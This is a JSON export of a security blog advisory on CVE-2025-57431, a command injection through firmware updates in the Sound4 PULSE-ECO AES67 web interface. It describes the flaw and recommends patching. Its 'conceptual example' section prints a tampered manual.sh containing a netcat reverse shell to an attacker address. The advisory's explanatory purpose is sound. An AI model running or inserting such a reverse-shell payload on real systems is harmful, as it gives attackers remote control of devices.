{"id":77937,"date":"2025-09-27T03:31:50","date_gmt":"2025-09-27T03:31:50","guid":{"rendered":""},"modified":"2025-10-04T00:32:15","modified_gmt":"2025-10-04T06:32:15","slug":"cve-2025-57431-remote-code-execution-vulnerability-in-sound4-pulse-eco-aes67-web-interface","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-57431-remote-code-execution-vulnerability-in-sound4-pulse-eco-aes67-web-interface\/","title":{"rendered":"<strong>CVE-2025-57431: Remote Code Execution Vulnerability in Sound4 PULSE-ECO AES67 Web Interface<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A serious security flaw identified as CVE-2025-57431 has been discovered in the web-based management interface of Sound4 PULSE-ECO AES67 version 1.22. This vulnerability allows an attacker to remotely execute arbitrary commands on the targeted system via a malicious firmware update package. It poses a significant threat to all companies and enterprises running the affected version of this software, as it makes them susceptible to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-22404-potential-system-compromise-due-to-use-after-free-vulnerability\/\"  data-wpil-monitor-id=\"85563\">system compromise<\/a> and data leakage. This vulnerability matters because it enables an attacker to gain unauthorized access and control over the affected system, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0610-csrf-vulnerability-in-akinsoft-qr-menu-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"85194\">potentially leading<\/a> to data theft, disruption of operations, or even installation of additional malware.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-57431<br \/>\nSeverity: High (8.8 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8067-udisks-daemon-vulnerability-leading-to-potential-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"85712\">System compromise or data<\/a> leakage if exploit is successful<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1967004427\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Sound4 PULSE-ECO AES67 | Version 1.22<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a flaw in the firmware update mechanism of the Sound4 PULSE-ECO AES67&#8217;s web-based <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23256-nvidia-bluefield-management-interface-vulnerability\/\"  data-wpil-monitor-id=\"87094\">management interface<\/a>. The mechanism does not properly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-46917-critical-integrity-validation-vulnerability-in-diebold-nixdorf-vynamic-security-suite\/\"  data-wpil-monitor-id=\"86091\">validate the integrity<\/a> of the &#8216;manual.sh&#8217; script included in the firmware update package. This lack of validation allows an attacker to modify the &#8216;manual.sh&#8217; script, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-46484-critical-os-command-injection-vulnerability-in-trendnet-tv-ip410-va1-0r\/\"  data-wpil-monitor-id=\"85502\">inject arbitrary commands<\/a>, repackage the firmware, and execute the malicious payload once the firmware update is applied.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2731301956\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited. This is a shell <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55583-critical-unauthenticated-os-command-injection-vulnerability-in-d-link-dir-868l-b1-router-firmware\/\"  data-wpil-monitor-id=\"86297\">command that could be injected<\/a> into the &#8216;manual.sh&#8217; script:<\/p>\n<pre><code class=\"\" data-line=\"\">#!\/bin\/sh\n# Malicious firmware update example\necho &quot;Injecting malicious payload...&quot;\n# Arbitrary command injection\n\/bin\/sh -c &#039;nc -e \/bin\/sh 10.0.0.1 1234&#039;<\/code><\/pre>\n<p>In this example, a netcat (nc) <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57285-critical-command-injection-vulnerability-in-codeceptjs-3-7-3\/\"  data-wpil-monitor-id=\"88131\">command is injected<\/a> into the &#8216;manual.sh&#8217; script. When the script is run during the firmware update, it opens a reverse shell to the attacker&#8217;s system (10.0.0.1), providing the attacker with <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-28988-java-deserialization-remote-code-execution-vulnerability-in-solarwinds-web-help-desk\/\"  data-wpil-monitor-id=\"85270\">remote command execution<\/a> capability on the targeted system.<\/p>\n<p><strong>Mitigations<\/strong><\/p>\n<p>The recommended mitigation for this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-26383-critical-vulnerability-in-amd-tee-puts-system-integrity-and-data-availability-in-jeopardy\/\"  data-wpil-monitor-id=\"88052\">vulnerability is to apply the vendor&#8217;s patch if available<\/a>. If a patch is not yet available, consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. These <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26210-deepseek-xss-vulnerability-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"86668\">systems can help detect and block potentially<\/a> malicious network traffic, reducing the risk of successful exploitation. Regularly updating and patching all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25180-underprivileged-software-manipulates-gpu-system-calls-for-unauthorized-access\/\"  data-wpil-monitor-id=\"88746\">software and systems<\/a> is also a crucial part of maintaining a strong security posture.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A serious security flaw identified as CVE-2025-57431 has been discovered in the web-based management interface of Sound4 PULSE-ECO AES67 version 1.22. This vulnerability allows an attacker to remotely execute arbitrary commands on the targeted system via a malicious firmware update package. It poses a significant threat to all companies and enterprises running the affected [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[78,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-77937","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-injection","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/77937","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=77937"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/77937\/revisions"}],"predecessor-version":[{"id":81557,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/77937\/revisions\/81557"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=77937"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=77937"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=77937"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=77937"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=77937"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=77937"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=77937"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=77937"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=77937"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}